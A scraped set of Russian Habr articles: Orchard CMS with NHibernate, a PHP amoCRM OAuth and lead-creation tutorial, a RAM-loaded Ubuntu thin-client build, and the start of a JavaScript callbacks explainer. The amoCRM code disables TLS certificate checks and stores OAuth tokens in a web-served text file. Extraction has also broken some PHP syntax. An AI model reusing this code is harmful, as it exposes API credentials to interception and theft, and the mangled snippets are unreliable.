* Задача построения отчетов напрямую из базы данных очень сильно усложняется. Очень много Join.
* Миграция данных средствами базы в рамках данной реализации очень. Очень много Join.
* Снижение производительности за счет избыточного количества запросов. Очень много внимания нужно уделить на работу с Profiler, для определения узких мест.
* Orchard.CMS базируется на контентных частях и контентных типах. Текстовые разделы, блоги, html части и так далее – в большинстве случаев контентные типы или контентные части. Смешивание данные представления и доменной модели приложения – грубое нарушение инкапсуляции.
* Перенести доменную модель и бизнес логику, выполненные в контексте Orchard, на другую CMS или чистый MVC – это огромная работа.
* Тестирование, его придется выполнять в рамках Orchard контекста.
Как вариант решения проблемы – полностью отказ от использования контентных типов при построении доменной модели. Ее реализация при помощи простых Record классов. Orchard использует AutoMapping для конфигурации NHibernate, и одна из конвенций следующая: ко всем названиям типов данных необходимо добавлять постфикс Record. Минус в том, что тестирование по-прежнему будет зависеть от контекста Orchard, и миграция в другую систему управления контентом усложниться. К тому же необходимо реализовывать отдельные модули для бизнес логики и для представления.
**Использование NHibernate напрямую в Orchard.CMS**
Framework Orchard.CMS предоставляет возможности конфигурировать HNibernate и использовать его возможности напрямую, без Orchard pipeline. Начиная с версии 1.7 стал доступен новый интерфейс ISessionConfigurationEvents. Пример реализации ISessionConfigurationEvents в демонстрационном проекте:
```
public class PersistenceConfiguration : ISessionConfigurationEvents
{
public PersistenceConfiguration()
{
Logger = NullLogger.Instance;
}
public ILogger Logger { get; set; }
public void Created(FluentConfiguration cfg, AutoPersistenceModel defaultModel)
{
cfg.Mappings(x => x.FluentMappings.AddFromAssemblyOf());
}
...
public void ComputingHash(Hash hash)
{
hash.AddString("NHStore.Domain.Mapping");
}
}
```
Для конфигурации своего модуля необходимо добавить реализацию этого интерфейса в свой модуль и определить конфигурацию NHibernate в методе Created. Также необходимо определить Hash модуля для автоматической перегенерации общей конфигурации NHibernate. Orchard.CMS генерирует конфигурацию NHibernate в файл mapping.bin, который находиться в папке App\_Data\Sites\Default, отдельная конфигурация для каждого сайта. Для перегенерации существующей конфигурации, необходимо удалить mapping файл, и приложение создаст его автоматически.
Для доступа к сущностям возможно использовать существующие интерфейсы в Orchard.CMS:
IRepository — стандартный интерфейс, реализация, которого использует Linq To NHibernate Cacheble Query. Основные методы:
* void Create(T entity); — Save
* void Update(T entity); — Evict/Merge
* void Delete(T entity); — Delete
* IEnumerable Fetch(); — ToReadOnlyCollection
* IQueryable Table { get; } – LinqToNHibernate Query Object
ISessionLocator – интерфейс в Orchard.CMS, который предоставляет доступ к объекту интерфейса ISession. Основные методы:
* ISession For(Type entityType); — передается тип сущности, который используется только для логирования (Logger.Debug(«Acquiring session for {0}», entityType); Объект сессии создается один на каждый запрос.
Необходимо упомянуть о транзакциях в Orchard. По умолчанию Orchard.CMS создает одну транзакцию на весь запрос и выполняет ее Commit после завершения запроса. Если запрос выполняется успешно – commit выполняется, если нет – происходит откат транзакции. Уровень изоляции данных по умолчанию – ReadCommitted. Для того чтобы завершить текущую транзакцию и открыть новую необходимо воспользоваться интерфейсом ITransactionManager. Этот интерфейс предоставляет методы для работы с транзакциями.
Удалось протестировать и реализовать демонстрационный проект с использованием Fluent NHibernate Mapping конфигурации доменной модели определенной в отдельной сборке. Проект находиться на github и доступен для [скачивания](https://github.com/Wertugo/OrchardNH).
Данная статья является рекомендацией к реализации проектов с использованием Orchard.CMS. Буду рад, если в комментариях опишут другие эффективные подходы для реализации доменной модели в рамках данной системы управления контентом. | https://habr.com/ru/post/241557/ | null | ru | null |
# Интеграция amoCRM с сайтом API
AmoCRM одна из самых популярных CRM, при этом ее API один из самых странных, по моему субъективному мнению. Понадобилось передавать данные формы с сайта в crm. Использовать CRM Формы вместо своих дизайнерских не хочется. Было бы здорово открыть статейку в гугле, подставить ключ и не париться особо, но на удивление не нашел ни одной статьи с актуальной инфой, где-то версия api уже не актуальна, где-то вместо использования дефолтных полей контакта, создаются кастомные. В общем решил поделиться своим решением, для тех, кому сложно/лень вникать в их API.
В этой статье я буду создавать сделку в "Неразобранном", контакт и компанию.
### Создаем файлы интеграции
Создаем папку amo, например в корне сайта.
Файлы внутри:
*amo.php
access.php
config.php
get.php
cookie.txt
tokens.txt*Названия могут быть произвольными.
Получение ключей
----------------
Открываем AmoCRM, заходим в Настройки > Интеграции.
Жмем "+ Создать интеграцию" и создаем внешнюю интеграцию.
Указываем ссылку на наш *amo.php* файл, ставим галочку предоставления доступа и вводим произвольное название и описание:
*P.S. Перед сохранением прочтите этот раздел до конца*
У нас появится 3 ключа **и 20 минут, чтоб сделать следующее:**
Открываем *config.php* и вписываем их туда:
```
php
$subdomain = ''; // поддомен AmoCRM
$client_secret = ''; // Секретный ключ
$client_id = ''; // ID интеграции
$code = ''; // Код авторизации
$token_file = 'tokens.txt';
$redirect_uri = 'https://site.com/amo/amo.php';</code
```
Поддомен AmoCRM берем из url нашей CRM
В `$redirect_uri` не забудьте поменять свой домен сайта
Затем идем в файл *auth.php* и вставим следующее:
```
php
require_once 'config.php';
$link = "https://$subdomain.amocrm.ru/oauth2/access_token";
$data = [
'client_id' = $client_id,
'client_secret' => $client_secret,
'grant_type' => 'authorization_code',
'code' => $code,
'redirect_uri' => $redirect_uri,
];
$curl = curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl,CURLOPT_USERAGENT,'amoCRM-oAuth-client/1.0');
curl_setopt($curl,CURLOPT_URL, $link);
curl_setopt($curl,CURLOPT_HTTPHEADER, ['Content-Type:application/json']);
curl_setopt($curl,CURLOPT_HEADER, false);
curl_setopt($curl,CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($curl,CURLOPT_POSTFIELDS, json_encode($data));
curl_setopt($curl,CURLOPT_SSL_VERIFYPEER, 1);
curl_setopt($curl,CURLOPT_SSL_VERIFYHOST, 2);
$out = curl_exec($curl);
$code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
curl_close($curl);
$code = (int)$code;
$errors = [
301 => 'Moved permanently.',
400 => 'Wrong structure of the array of transmitted data, or invalid identifiers of custom fields.',
401 => 'Not Authorized. There is no account information on the server. You need to make a request to another server on the transmitted IP.',
403 => 'The account is blocked, for repeatedly exceeding the number of requests per second.',
404 => 'Not found.',
500 => 'Internal server error.',
502 => 'Bad gateway.',
503 => 'Service unavailable.'
];
if ($code < 200 || $code > 204) die( "Error $code. " . (isset($errors[$code]) ? $errors[$code] : 'Undefined error') );
$response = json_decode($out, true);
$arrParamsAmo = [
"access_token" => $response['access_token'],
"refresh_token" => $response['refresh_token'],
"token_type" => $response['token_type'],
"expires_in" => $response['expires_in'],
"endTokenTime" => $response['expires_in'] + time(),
];
$arrParamsAmo = json_encode($arrParamsAmo);
$f = fopen($token_file, 'w');
fwrite($f, $arrParamsAmo);
fclose($f);
print_r($arrParamsAmo);
```
Тут мы отправляем запрос в AmoCRM для получения токенов. Токены сохраняются в файл *(45-57 строки)*, вы можете сохранять их в БД.
Запустите файл, https://site.com/amo/auth.php
Как результат в файле *tokens.txt* должны появится данные.
Обновление токена
-----------------
Access token является временным и требует обновления.
Открываем файл *access.php* и добавляем следующее:
```
php
require_once 'config.php';
$dataToken = file_get_contents($token_file);
$dataToken = json_decode($dataToken, true);
if ($dataToken["endTokenTime"] - 60 < time()) {
$link = "https://$subdomain.amocrm.ru/oauth2/access_token";
$data = [
'client_id' = $client_id,
'client_secret' => $client_secret,
'grant_type' => 'refresh_token',
'refresh_token' => $dataToken["refresh_token"],
'redirect_uri' => $redirect_uri,
];
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_USERAGENT, 'amoCRM-oAuth-client/1.0');
curl_setopt($curl, CURLOPT_URL, $link);
curl_setopt($curl, CURLOPT_HTTPHEADER, ['Content-Type:application/json']);
curl_setopt($curl, CURLOPT_HEADER, false);
curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($data));
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 1);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);
$out = curl_exec($curl);
$code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
curl_close($curl);
$code = (int)$code;
$errors = [
301 => 'Moved permanently.',
400 => 'Wrong structure of the array of transmitted data, or invalid identifiers of custom fields.',
401 => 'Not Authorized. There is no account information on the server. You need to make a request to another server on the transmitted IP.',
403 => 'The account is blocked, for repeatedly exceeding the number of requests per second.',
404 => 'Not found.',
500 => 'Internal server error.',
502 => 'Bad gateway.',
503 => 'Service unavailable.'
];
if ($code < 200 || $code > 204) die( "Error $code. " . (isset($errors[$code]) ? $errors[$code] : 'Undefined error') );
$response = json_decode($out, true);
$arrParamsAmo = [
"access_token" => $response['access_token'],
"refresh_token" => $response['refresh_token'],
"token_type" => $response['token_type'],
"expires_in" => $response['expires_in'],
"endTokenTime" => $response['expires_in'] + time(),
];
$arrParamsAmo = json_encode($arrParamsAmo);
$f = fopen($token_file, 'w');
fwrite($f, $arrParamsAmo);
fclose($f);
$access_token = $response['access_token'];
} else {
$access_token = $dataToken["access_token"];
}
```
Если вы сохраняли токены из предыдущего запроса в БД, пропишите получение их из БД *(59-61 строки)*. Если сохранили в файл, как было в примере, переходите к след этапу.
Переходим к интеграции
----------------------
Не буду приводить пример html формы, нужно обработать форму и передать в *amo.php* необходимые данные. Открываем *amo.php* и добавляем:
```
php
require_once 'access.php';
$name = 'Имя клиента';
$phone = '+380123456789';
$email = 'email@gmail.com';
$target = 'Цель';
$company = 'Название компании';
$custom_field_id = 454021;
$custom_field_value = 'тест';
$ip = '1.2.3.4';
$domain = 'site.ua';
$price = 0;
$pipeline_id = 5059931;
$user_amo = 0;
$utm_source = '';
$utm_content = '';
$utm_medium = '';
$utm_campaign = '';
$utm_term = '';
$utm_referrer = '';
$data = [
[
"name" = $phone,
"price" => $price,
"responsible_user_id" => (int) $user_amo,
"pipeline_id" => (int) $pipeline_id,
"_embedded" => [
"metadata" => [
"category" => "forms",
"form_id" => 1,
"form_name" => "Форма на сайте",
"form_page" => $target,
"form_sent_at" => strtotime(date("Y-m-d H:i:s")),
"ip" => $ip,
"referer" => $domain
],
"contacts" => [
[
"first_name" => $name,
"custom_fields_values" => [
[
"field_code" => "EMAIL",
"values" => [
[
"enum_code" => "WORK",
"value" => $email
]
]
],
[
"field_code" => "PHONE",
"values" => [
[
"enum_code" => "WORK",
"value" => $phone
]
]
],
[
"field_id" => (int) $custom_field_id,
"values" => [
[
"value" => $custom_field_value
]
]
]
]
]
],
"companies" => [
[
"name" => $company
]
]
],
"custom_fields_values" => [
[
"field_code" => 'UTM_SOURCE',
"values" => [
[
"value" => $utm_source
]
]
],
[
"field_code" => 'UTM_CONTENT',
"values" => [
[
"value" => $utm_content
]
]
],
[
"field_code" => 'UTM_MEDIUM',
"values" => [
[
"value" => $utm_medium
]
]
],
[
"field_code" => 'UTM_CAMPAIGN',
"values" => [
[
"value" => $utm_campaign
]
]
],
[
"field_code" => 'UTM_TERM',
"values" => [
[
"value" => $utm_term
]
]
],
[
"field_code" => 'UTM_REFERRER',
"values" => [
[
"value" => $utm_referrer
]
]
],
],
]
];
$method = "/api/v4/leads/complex";
$headers = [
'Content-Type: application/json',
'Authorization: Bearer ' . $access_token,
];
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_USERAGENT, 'amoCRM-API-client/1.0');
curl_setopt($curl, CURLOPT_URL, "https://$subdomain.amocrm.ru".$method);
curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($data));
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_HEADER, false);
curl_setopt($curl, CURLOPT_COOKIEFILE, 'amo/cookie.txt');
curl_setopt($curl, CURLOPT_COOKIEJAR, 'amo/cookie.txt');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
$out = curl_exec($curl);
$code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
$code = (int) $code;
$errors = [
301 => 'Moved permanently.',
400 => 'Wrong structure of the array of transmitted data, or invalid identifiers of custom fields.',
401 => 'Not Authorized. There is no account information on the server. You need to make a request to another server on the transmitted IP.',
403 => 'The account is blocked, for repeatedly exceeding the number of requests per second.',
404 => 'Not found.',
500 => 'Internal server error.',
502 => 'Bad gateway.',
503 => 'Service unavailable.'
];
if ($code < 200 || $code > 204) die( "Error $code. " . (isset($errors[$code]) ? $errors[$code] : 'Undefined error') );
$Response = json_decode($out, true);
$Response = $Response['_embedded']['items'];
$output = 'ID добавленных элементов списков:' . PHP_EOL;
foreach ($Response as $v)
if (is_array($v))
$output .= $v['id'] . PHP_EOL;
return $output;
```
В самом начале у нас список переменных, куда необходимо передать данные из формы, например: `$name = $_POST['name'];`
В $pipeline\_id необходимо записать **id воронки**, его можно получить из url crm:
Открываем раздел "Сделки", берем id открывшейся воронки **(число в конце url)**, либо переключаемся на другую.
К `$user_amo` вернемся чуть позже. Заполняем остальные переменные.
Массив $data заполните информацией на свое усмотрение, согласно [документации](https://www.amocrm.ru/developers/content/crm_platform/leads-api#leads-complex-add).
Если вы не используете дополнительные поля, удалите:
`[
"field_id" => (int) $custom_field_id,
"values" => [
[
"value" => $custom_field_value
]
]
]`
Получение id полей
------------------
Получение идентификаторов полей, пользователей и всего остального реализовано через GET запросы. Подробнее можно ознакомиться в документации, а для наших целей я подготовил отдельный файл, нужные эти данные. Открываем файл *get.php* и добавляем в него:
```
php
require_once 'config.php';
function printLink($method, $title, $subdomain) {
echo '<br';
echo "[$title](https://$subdomain.amocrm.ru/$method)";
echo '
';
}
printLink('api/v4/leads/custom_fields', 'Список utm меток', $subdomain);
printLink('api/v4/users', 'Список пользователей', $subdomain);
printLink('api/v4/contacts/custom_fields', 'Список полей контакта', $subdomain);
echo '
';
echo "[Документация](https://www.amocrm.ru/developers/content/crm_platform/custom-fields)";
echo '
';
```
Запустите файл: https://site.com/amo/get.php
Вывод
-----
На этом все, если все сделано правильно, лиды будут приходить в неразобранное, создаваться контакт, подтягиваться в него имя, телефон, а также кастомные поля, utm метки, которые были указаны в `$data` и название компании. | https://habr.com/ru/post/650019/ | null | ru | null |
# Тонкий бездисковый клиент на базе Ubuntu, не требующий монтирования ФС по сети
**UPDATE 2020-11-06** [Теперь](https://github.com/selivan/thinclient/commit/2e0ad63404027dfdcdb0b997a0b6c7d382048f86) проект поддерживает Ubuntu 20.04 Focal Fossa (LTS) и появился готовый вариант для сборки с использованием VMWare Horizon, наряду с FreeRDP.
*Изображение с сайта [getwallpapers.com](http://getwallpapers.com/collection/kali-linux-desktop-wallpaper)*
История
-------
В далёком 2013 году в одном банке использовались тонкие клиенты на основе [DisklessUbuntu](https://help.ubuntu.com/community/DisklessUbuntuHowto). С ними были некоторые проблемы, по-моему монтирование корневой ФС по сети в больших филиалах со слабой сетью работало не очень. Тогда мой хороший друг [@deadroot](https://habrahabr.ru/users/deadroot/) сделал первую версию тонкого клиента, который грузился целиком в память, не требуя что-то монтировать по сети для работы.
Потом этот клиент активно допиливал я, там было сделано много полезных штук, специфичных именно для нашего сценария использования. Потом банк закрылся (отозвали лицензию), остатки исходников клиента переехали на мой гитхаб: [thunclient](https://github.com/selivan/thinclient). Пару раз я его слегка допиливал на заказ.
Недавно у меня дошли руки сделать из этой кучи страшных ненадёжных скриптов достаточно удобное для использования решение:
* Vagrant поднимает виртуалку, которую можно настраивать как обычную рабочую станцию.
* Одним скриптом из неё собирается готовые для загрузки по сети файлы, лишнее вырезается.
* Vagrant поднимает виртуальный PXE сервер и сетевой клиент для проверки получившейся сборки.
Что умеет
---------
* Целиком грузится в память, не требует для работы монтировать корневую ФС по сети.
* Построена на базе Ubuntu, практически любой софт можно ставить из её богатых репозиториев, и подключать сторонние если чего-то не хватило. Особенно приятно, что обновления безопасности прилетают в Ubuntu достаточно быстро.
* Умеет монтировать поверх корневой ФС дополнительные оверлеи. Можно добавить какой-то софт только для некоторых рабочих станций, не собирая новый образ
* Умеет [zram](https://www.kernel.org/doc/Documentation/blockdev/zram.txt) — сжатие памяти, полезно для старых клиентов с небольшим количеством оперативки. Хотя и для новых как правило не помешает.
* Из коробки собирается лёгкий десктоп (LXDE) с RDP-клиентом, адреса и параметры RDP серверов просто передаются с PXE-сервера через параметры при загрузке.
* Можно поменять один параметр в конфиге и будет собираться минимальная консольная система без лишнего софта — основа для какой-нибудь вашей нестандартной сборки.
* Если загрузка не прошла из-за проблем с сервером или сетью, будет недолго показывать сообщение об ошибке и пытаться загрузится снова. Удобно, что когда проблемы исправлены, рабочие станции поднимутся сами без лишних телодвижений.
В банке для удалённого подключения к тонкому клиенту пользователя использовался VNC (`x11vnc` для подключения к уже запущенной сессии Xorg). Это далеко не всем требуется (обычно хватает возможности подключения к сеансу RDP на сервере терминалов), и тут всё очень индивидуально в плане требований удобства/безопасности. Поэтому эту часть я выкладывать не стал.
Аналоги
-------
* [Thinstation](http://www.thinstation.org/)
Если Thinstation полностью устраивает — то лучше пользоваться им, это более старый и зрелый проект. Плюс он раза в полтора меньше по размеру, всё-таки это специально заточенная под минимальный объём сборка, а не слегка допиленная обычная Ubuntu.
Но версии софта в нём достаточно древние и его там мало. Если нужно что-то дополнительное, помимо клиентов RDP/Citrix/… — потребуется собирать это руками, и так при каждом обновлении.
* [LTSP](http://ltsp.org/)
[kvaps](https://habr.com/ru/users/kvaps/) указал в [комментарии](https://habrahabr.ru/post/350780/#comment_10702986), что LTSP может скопировать образ squashfs в память и работать без монтирования ФС по сети: это настраивается переменной [LTSP\_NBD\_TO\_RAM](https://github.com/kvaps/ltsp/blob/master/client/Debian/share/initramfs-tools/scripts/init-bottom/ltsp#L31). Для настройки используется chroot, что может быть менее удобно, особенно для настройки графического окружения и приложений. Также хороший зрелый проект, можно рассматривать как альтернативу.
Vagrant vs chroot
-----------------
Прошлые версии использовали chroot, как собственно и большинство похожих проектов, тот же Thinstation к примеру. Это несложно, но всё-таки запущенная в chroot отдельная программа не соответствует происходящему на реальной машине: нету взаимодействия с системным init, с другими программами и службами. Плюс Vagrant позволил сделать процесс создания клиента максимально простым: виртуалка настраивается как обычная машина.
Конечно, использование Vagrant приносит и некоторые сложности.
На машине должна работать служба `virtualbox-guest-utils`, для работы общих папок. Кроме того, нужен менеджер загрузки (`grub`), обязательный для машины с диском и бесполезный для загружаемого по сети клиента. Эти проблемы я решил, исключая из сборки все файлы этих пакетов. Поэтому на размер получившегося образа они не влияют.
Кроме того, для Vagrant обязателен работающий на машине ssh, пускающий пользователя со сгенерированным ключом. Я исключаю из сборки домашний каталог пользователя vagrant, используемого для настройки, вместе с его ssh ключами. Ключи для используемого при работе пользователя ubuntu можно положить в его домашний каталог.
Ну и для работы Vagrant генерирует настройки сетевых интерфейсов, которые будут ошибочными для реальной машины. Пришлось на время сборки подменять файл `interfaces`, и написать скрипт, который на реальной машине генерирует конфиг для настройки всех доступных интерфейсов по DHCP.
Provisioning делается с помощью Ansible. Это очень удобный инструмент для конфигурации всяческого софта и железа. Но включать в итоговый образ Ansible и требующийся ему второй python с нужными библиотеками не хотелось бы: бесполезный балласт. Ставить Ansible на машину, где запукается виртуальное окружение, тоже не хочется: это усложнит работу.
Vagrant позволяет сделать хитрость: поставить Ansible на одну машину (тестовый PXE сервер), и с неё делать разворачивание других машин, в рамках той же playbook. Для этого машины должны иметь статический IP, чтобы прописать его в ansible inventory. Ну а проблему с конфигурацией интерфейсов мы решили в прошлом пункте.
Непослушный кабачок
-------------------
[Squashfs](https://en.wikipedia.org/wiki/SquashFS) — сжимающая read-only файловая система. Лежит в основе большинства существующих Linux LiveCD. Именно она позволяет создать достаточно компактный образ системы, помещающийся в оперативную память тонкого клиента.
Из итогового образа надо много чего вырезать: `/tmp`, `/run`, `/proc`, `/sys`, `/usr/share/doc` и так далее.
Утилита `mksquashfs` поддерживает аж 3 типа списков для исключения файлов: по полному пути, по маскам и по регулярным выражениям. Казалось бы, всё прекрасно. Но последние два варианта не поддерживают пути, начинающиеся с `/`. У меня не получилось исключить все файлы внутри некоторой структуры папок, не исключая последнюю папку.
Мне быстро надоело с ней бороться, я просто нашёл `find`-ом все файлы и папки, которые надо исключить, и запихнул в один большой файл с исключениями по полному пути. Костыли.jpg. Но работает. Единственным артефактом этого подхода в итоговом образе остаётся одинокая папка `/proc/NNN`, соответствующая номеру процесса mksquashfs, которого при создании списка исключений ещё не было. Сверху всё равно монтируется procfs.
Магия initrd
------------
Чтобы не тянуть в составе ядра все необходимые драйвера и логику монтирования корневой ФС, Linux использует initial ramdisk. Раньше использовался формат initrd, в котором этот диск представлял собой настоящий образ файловой системы. В ядре 2.6 появился новый формат — initramfs, представляющий собой извлекаемый в tmpfs cpio-архив. Как initrd, так и initramfs могут быть сжаты для экономии времени загрузки. Многие названия утилит и имена файлов по-прежнему упоминают initrd, хотя он уже не используется.
В Debian/Ubuntu для создания initramfs используется пакет initramfs-tools. Он даёт следующие возможности для кастомизации:
* хуки — скрипты специального формата, которые позволяют добавлять в образ модули ядра и исполняемые файлы со всеми необходимыми им библиотеками
* скрипты в каталогах `init-bottom`, `init-premount`, `init-top`, `local-block`, `local-bottom`, `local-premount`, `local-top`, выполняемые в соответствующий момент загрузки. См. [man initramfs-tools(8)](http://manpages.ubuntu.com/manpages/xenial/en/man8/initramfs-tools.8.html)
* самое интересное — добавлять собственные скрипты загрузки, отвечающие за монтирование корневой ФС. Они должны определять shell функцию `mountroot()`, которая будет использована главным скриптом `/init`. В составе уже есть `local` для монтирования корня на локальном диске и `nfs` для монтирования корня по сети. Используемый скрипт выбирается параметром загрузки `boot`.
Итого, чтобы примонтировать корневую ФС каким-то сильно хитрым образом, надо создать свой скрипт загрузки, определить в нём функцию `mountroot()`, передать имя этого скрипта в параметре загрузки `boot` и не забыть написать хуки, подтягивающие в initramfs все нужные скрипту программы и модули ядра.
Борьба за оверлеи
-----------------
Для создания единой корневой файловой системы из нескольких используется [OverlayFS](https://www.kernel.org/doc/Documentation/filesystems/overlayfs.txt). В первых версиях использовалась AUFS (она используется большинством линуксовых LiveCD). Но её не приняли в ядро, и сейчас всем рекомендуют переходить на OverlayFS.
После монтирования настоящей корневой ФС в каталог внутри initramfs, будет запущена программа `run_init` из состава `klibc-utils`. Она проверит, что корневая ФС смонтирована внутри initramfs, отчистит initramfs (зачем зря терять память?) и переместит точку монтирования корневой ФС в `/`, и запустит системный init. [Подробности](https://askubuntu.com/a/910374/25924). Эта программа собрана в виде отдельного исполняемого файла, потому что скрипт, использующий любые внешние утилиты, сломается после отчистки initramfs.
Если корневая ФС собирается из нескольких оверлеев, смонтированных внутри initramfs, при работе `run_init` эти точки монтирования пропадают, и она ломается. Эту проблему можно решить, переместив точки монтирования оверлеев **внутрь** корневой ФС, где они уже не пропадут. Рекурсия :) Делается так: `mount --move olddir newdir`.
AppArmor пришлось отключить: её профили рассчитаны на прямое монтирование корневой ФС с одного устройства. При использовании OverlayFS она видит, что `/sbin/dhclient` это на самом деле `/AUFS/root/sbin/dhclient`, и профиль ломается. Единственный вариант её использовать — переписать все профили для всех приложений, и обновлять при необходимости.
Где нужна возможность записи
----------------------------
Под идее, Linux может спокойно работать, когда все ФС примонтированы только на чтение. Но многие программы рассчитывают на возможность записи на диск, приходится монтировать туда tmpfs:
* `/tmp`, `/var/tmp` — понятно, нужны очень многим
* `/var/log` — пишем логи
* `/run` — без него не запустятся почти все сервисы
* `/media` — монтированиие подключенных носителей
* `/var/lib/system` — используется многими программами из systemd, в частности `systemd-timesyncd`
* `/var/lib/dhclient` — сюда dhclient записывает информацию о leases
* `/etc/apparmor.d/cache` — если вы всё-таки поборете AppArmor, то ему надо будет писать файлы в `/etc`. ИМХО отвратительно, для таких вещей есть `/var`.
Итого
-----
Если вы хотите собрать загружаемую по сети и работающую только из памяти сборку Ubuntu — вот тут есть готовый удобный конструктор: [thinclient](https://github.com/selivan/thinclient). Если потребуется помощь — пишите в ЛС или в тикеты на гитхабе, подскажу.
**P.S.** [Английская версия статьи в моём блоге](https://selivan.github.io/2018/03/08/ubuntu-based-thin-client.html). | https://habr.com/ru/post/350780/ | null | ru | null |
# Коллбэки в JavaScript на примере миньонов
Коллбэки. Асинхронные. Неблокирующие. Давайте говорить начистоту: все эти JS-концепции заставляют вас рвать волосы на голове каждый раз, когда ваш код СНОВА не работает. Меня тоже посещали подобные чувства. Мне нужна была какая-то простая аналогия, которая помогла бы мне легче понять эту абстрактную идею. Конечно, в сети есть много хороших учебных материалов (например, [этот](https://github.com/maxogden/art-of-node), или [этот](http://javascriptissexy.com/understand-javascript-callback-functions-and-use-them/)). Но все они обычно сразу начинаются с довольно сложных вещей.
Мне нужно было что-то более близкое, понятное.
Мне нужны были миньоны.
Я собираюсь объяснить всем желающим, что такое коллбэки, на примере этих забавных существ. В этой моей аналогии читатели будут выступать в качестве повелителя миньонов. Вы можете приказывать им сделать в вашем коде всё, что угодно. НО!
1. Существует только один повелитель.
2. Миньоны должны получать приказы от вас. Они не могут принимать собственные решения.
*(Официальное определение миньона: “некто слабый и неважный, исполняющий приказы сильного лидера или босса”)*
#### Основная идея
Каждый раз, когда в jQuery или JavaScript вы видите “function()” **внутри другой функции** или метода, представляйте, что вместо неё написано “minion()”. Конечно, вы не сможете так написать, поскольку JS не распознает эту команду (если только вы не создадите настоящую функцию “minion”). Но при создании коллбэка вы, фактически, **отдаёте приказ миньонам**.
Пример миньонов, ждущих ваших приказов:
```
function myFunction(input, function(err, data){
});
```
Это можно перефразировать в:
```
function myFunction(input, minion(err, data){
});
```
Пример с обычной функцией, безо всяких миньонов:
```
function addOne(data){
return data++;
};
```
### Примеры в jQuery
#### Основы
Пример 1:
```
$('.myButton').click(function(){
$('.secondEl').show();
});
```
Напоминаю, что это можно перефразировать:
Пример 2:
```
$('.myButton').click(minion(){
$('.secondEl').show();
});
```
Что тут делает коллбэк?
Вы повелитель, и должны присматривать за событиями, происходящими в рамках всего файла, а то и нескольких файлов. У вас нет времени на возню с каким-то мелким обработчиком клика в jQuery! Поэтому вы возлагаете эту задачу на миньона, как показано в примере 2. Теперь это очень простая функция, возможно, вы бы даже сами смогли её сделать. А если бы она была длиной в 20 строк? Вам нельзя отвлекаться на 20-строчную функцию, ведь вам нужно принять от пользователя и другие инструкции! Поэтому вы говорите миньону, чтобы он занялся этим с первой же строки, как только пользователь кликнет `.myButton`. Теперь вы можете отдавать приказы и другим миньонам, что куда эффективнее, чем всё делать самому, заставляя важные функции ожидать, пока вы освободитесь.
### Анимация
Чтобы подчеркнуть важность миньонов, давайте рассмотрим последовательность отображения/скрытия.
```
$('button').click(function(){
console.log("One");
$('.firstChild').show(function(){
console.log("Two");
$('.childofChild').show();
});
console.log("Three");
});
```
Если читать код последовательно и не привлекать на свою сторону миньонов, то в консоли будет отображаться “One”, “Two”, “Three”. НО, если у вас есть миньоны, то в консоли отобразится “One”, “Three”, “Two”. И вот почему:
```
$('button').click(minion(){
console.log("One");
$('.firstChild').show(minion(){
console.log("Two");
$('.childofChild').show();
});
console.log("Three");
});
```
* Строка 1: вы отдали приказ первому миньону и отправились посмотреть на другие события, инициализированные пользователем.
* Строка 2: первый миньон считал состояние консоли и отправился на строку 3.
* Строка 3: первый миньон **позвал на помощь второго миньона**. Этот второй миньон должен сидеть тут и ждать, когда завершится метод `show()`, после чего можно будет продолжить выполнение инструкций. Так что теперь на вас работает два миньона, одновременно пытающихся как можно скорее завершить свою работу с функцией!
* Первый миньон перепрыгивает на строку 7, а второму надо ещё выполнить строки 4 и 5. Он считывает состояние console.log, и готово — больше никакой работы не осталось. Второй миньон отстаёт на доли миллисекунды, он считывает console.log (“Two”), а потом убеждается, что в строке 5 отобразился дочерний `div`. Теперь и этот миньон завершил свою работу.
Отсюда можно вынести невероятно важный урок: ваши коллбэки **определяют порядок осуществления различных действий**. Только представьте, насколько это мощный инструмент. Вы может точно задавать очерёдность тех или иных событий, в отличие от необходимости создавать одну длинную строку из последовательных команд. Коллбэки дают гораздо больше гибкости. Если вы не смогли заставить миньонов выполнить ваши приказы, то придётся всё делать самостоятельно.
По сути, вышеупомянутая логика jQuery **работает только применительно к коллбэкам**. Например, в строке дочерний `div` **должен** быть отображён после отображения родительского `div`'а. [Вы не сможете отобразить дочерний](http://stackoverflow.com/questions/5521387/show-child-div-within-hidden-parent-div), если родительский скрыт. И коллбэки — единственный способ гарантировать, что дочерний `div` появится **после** родительского `div`'а.
Если бы в вышеприведённом примере не было коллбэков, то строка 5 стала бы источником ошибки, поскольку метод `show()` в строке 3 ещё не успел выполниться. Первый миньон, запущенный в строке 1, передаёт задачу второму миньону по мере выполнения строк 4 и 5, так что **второй миньон может ждать завершения метода** `show()` **в строке 3** до того, как начать работу в строках 4 и 5. Это гарантирует, что второй миньон начнёт и завершит выполнение второго `show()` после завершения первого `show()`. К тому времени первый миньон перейдёт к оставшейся части внешней функции, не ожидая выполнения предыдущих операций.
### Ванильные примеры из JavaScript/Node.js
#### Использование параметров и коллбэков
```
// обобщённый тип (generic) reportOrders отражает ваши приказы для функции
function reportOrders (minionOrders) {
if ( typeof minionOrders === "string"){
console.log(minionOrders);
}
else if ( typeof minionOrders === "object"){
for (var item in minionOrders) {
console.log(item + ": " + minionOrders[item]);
}
}
}
// Функция получает два параметра, последний из которых — коллбэк
function speakOrders (orders, callback) {
callback (orders);
}
// Когда мы вызываем функцию speakOrders, мы передаём reportOrders в качестве параметра.
// Так что reportOrders будет вызываемой обратно функцией (не исполняемой) внутри функции speakOrders
